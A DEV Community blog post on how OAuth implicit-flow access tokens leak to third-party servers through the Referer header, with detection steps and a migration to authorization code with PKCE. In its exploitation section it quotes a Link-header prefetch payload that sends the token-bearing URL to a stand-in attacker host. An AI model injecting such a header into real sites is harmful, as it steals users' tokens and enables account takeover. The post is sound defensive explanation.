DEV Community

Davi
Davi

Posted on Originally published at blog.mago.team

The OAuth Implicit Flow Is Deprecated, But Your Access Tokens Are Still Leaking

Your SPA callback fires. The access token lands in location.hash. Your JavaScript reads it and moves on. By then, Google Tag Manager, Cloudflare Beacon, and your font server have already received that token in the Referer header. The deprecation is real. The leak is still running.

The OAuth implicit flow is not simply outdated: it is a passive credential broadcaster. Every SPA still using response_type=token hands its access token to every third-party resource loaded on the callback page. No attacker involvement required. RFC 9700, published in January 2025, documents this mechanism in Section 4.2. Most migration guides cite the deprecation and jump straight to the PKCE recommendation without explaining the channel through which the token is already leaving.

The Fragment Is Not Private: How Tokens Reach Third-Party Servers

URL fragments, the portion after #, were designed to be client-local. Normal HTTP requests do not include the fragment in the path sent to the server. This led SPA developers to treat location.hash as a safe delivery channel for tokens.

When the browser loads any cross-origin resource on a page with a URL fragment, the Referer header of that request includes the full URL. That includes the fragment. RFC 9700 Section 4.2 documents this as a named threat: token leakage via the referer header. This is standard browser behavior, not a bug in any specific browser.

A SPA without Referrer-Policy: no-referrer on the callback route sends https://app.example.com/callback#access_token=eyJhbGciOiJSUzI1NiJ9... to every external server loaded on that page. Google Fonts receives that header. The analytics script receives it. The CDN serving images receives it. None of those servers asked for the token. None will reject it.

RFC 9700 and What "Deprecated" Actually Means

RFC 9700, published in January 2025 by the IETF OAuth Working Group, uses normative language in Section 2.1.2: clients SHOULD NOT use the implicit grant unless token injection is prevented and leakage vectors are mitigated. In RFC vocabulary, SHOULD NOT means prohibited for new systems and required migration for existing ones.

The practical problem is that normative deprecation does not force deactivation. Authorization servers continue accepting response_type=token for backwards compatibility. Spotify is the only major platform to enforce a hard removal with a public deadline. After November 27, 2025, any request using implicit flow fails immediately. That model forced migration without relying on voluntary client-side upgrades.

Azure AD requires explicit enablement per application for implicit flow, which is not the same as disabling it. Okta documentation, still active, stated that "existing applications using the implicit flow are not suddenly insecure," which understates the risk. Auth0 SDK v2+ defaults to PKCE on the client but does not disable the flow for tenants that have not explicitly prohibited it. Keycloak 25 retains implicit flow in legacy realms.

Real Exploitation: H1 #787160 and the Voorivex Technique

HackerOne report #787160, filed against Rockstar Games, documents the confirmed active version of this attack. The researcher identified an open redirect on socialclub.rockstargames.com and chained it with Facebook's OAuth implicit flow. The Facebook token, which appears in the URL fragment after authentication, leaked via the Referer header during the redirect to the external destination. The result was full account takeover. The report was paid.

The Voorivex team published a variant that raises the sophistication level further. With a limited HTML injection point, they inserted the HTTP header Link: <https://attacker.example>; rel=prefetch; referrerpolicy="unsafe-url". Chrome processes the referrerpolicy directive at the sub-resource level, overriding the document's referrer policy. The full URL, including the fragment with the access_token, traveled to the attacker's server even when the parent page had Referrer-Policy: strict-origin set. DOMPurify does not mitigate this technique because the vector is the HTTP Link header, not DOM content.

The passive version requires no attacker at all. Any SPA using implicit flow that loads external resources on the callback page delivers the token to those servers on every successful authentication. This is not a theoretical risk contingent on specific conditions. Google Analytics or any conversion pixel present on the callback page has been accumulating those tokens in referrer logs since the first integration.

Detection

The audit starts in JavaScript. Search SPA bundles for the string response_type=token. Any match indicates implicit flow in use somewhere in the authorization code path. Static search tools in repositories find this in minutes, without access to a production environment.

Check the Referrer-Policy header on the callback route. Absence of that header, or values like no-referrer-when-downgrade or origin-when-cross-origin, means the full URL with the fragment reaches external resources. Open DevTools Network tab during a complete login flow and inspect the Referer headers on outbound requests from the callback page.

The MAGO Intel tool (intel.mago.team) scans SPA JavaScript bundles for response_type=token patterns and flags OAuth endpoints that accept implicit flow requests, with no active probing required.

Check the authorization server admin panel too. Clients with implicit flow enabled appear explicitly in per-application settings. Server logs containing response_type=token in request parameters confirm migration is incomplete.

The Fix: Migrate the Client and Disable the Flow at the Server

The correct migration target is authorization code with PKCE: response_type=code with code_challenge_method=S256. The client generates a random code_verifier, derives the code_challenge with SHA-256, and sends it with the authorization request. The server verifies the code_verifier before issuing the token via back-channel. The token never touches the URL.

Set Referrer-Policy: no-referrer on the callback route as a defense-in-depth layer during migration. That reduces passive exposure but does not solve the core problem. The implicit flow must be disabled at the authorization server, not just removed from the client.

Disabling on the client without disabling at the server leaves the flow accessible for any legacy integration still sending response_type=token. Spotify's model, a fixed deadline with hard failure for all clients, is the only pattern that eliminates the attack surface. If migration is blocked by operational constraints, set Referrer-Policy: no-referrer and remove all external resources loaded on the callback page until migration completes.


The practical step is not to update a migration checklist. Open the authorization server admin panel and count how many clients still have implicit flow enabled. Then open DevTools Network tab on the callback route. Check the Referer headers on outbound requests: what you find is already in your analytics vendors' logs.

Top comments (0)